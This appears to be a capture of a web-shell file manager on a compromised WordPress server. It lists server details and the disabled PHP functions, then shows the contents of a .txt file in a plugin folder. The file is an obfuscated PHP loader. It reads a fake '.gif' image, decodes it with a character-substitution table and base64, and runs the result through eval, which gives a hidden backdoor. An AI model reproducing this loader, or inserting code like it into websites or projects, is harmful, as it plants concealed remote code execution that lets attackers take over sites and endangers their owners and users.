HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-content/plugins/achimep/afycuke.txt
<?php

function egocej_acuxixyl($arewus_anoshygobo) {
    if ($arewus_anoshygobo == 1)
        return zequqi_izonethu();
    if ($arewus_anoshygobo == 2)
        return obynek_vyrapoha();
}

function ujokin_irojafyb($arewus_anoshygobo) {
    $awavuth = egocej_acuxixyl(1);
    $izhupac = egocej_acuxixyl(2);
    for ($izoshuh = 0; $izoshuh < strlen($awavuth); $izoshuh++) {
        $fyvuby = substr($awavuth, $izoshuh, 1);
        $exidyva = substr($izhupac, $izoshuh, 1);
        $ukutyc[$fyvuby] = $exidyva;
    }

    $axasuny = strtr($arewus_anoshygobo, $ukutyc);
    $axasuny = base64_decode($axasuny);

    return $axasuny;
}

function upyfef_tathujapy($arewus_anoshygobo) {
    $fogaluz = array();
    if (!file_exists($arewus_anoshygobo))
        return false;
    $lihoxis = @file_get_contents($arewus_anoshygobo);
    if (!$lihoxis)
        return false;
    $lihoxis = substr($lihoxis, 3);
    $fogaluz = ujokin_irojafyb($lihoxis);
    return $fogaluz;
}

function zequqi_izonethu() {
    $lihoxis = "abw/jAJxdS4vgGqXDER8skWIB53=2FpZLcmyO0ourCVzHhQ9inP+KYt16fUMlT7eN";
    return $lihoxis;
}

function obynek_vyrapoha() {
    $fogaluz = "59SeysHAOJbm=ZYxP1GvBiCIXu+NtUqRjLl7QK86FEahzd2M3ngofrWpVTwD04c/k";
    return $fogaluz;
}

$oxekar = upyfef_tathujapy(__DIR__ . "/asset" . "s/ima" . "ges/" . "bunic" . "hu.gif");
if ($oxekar) {
    @eval($oxekar);
}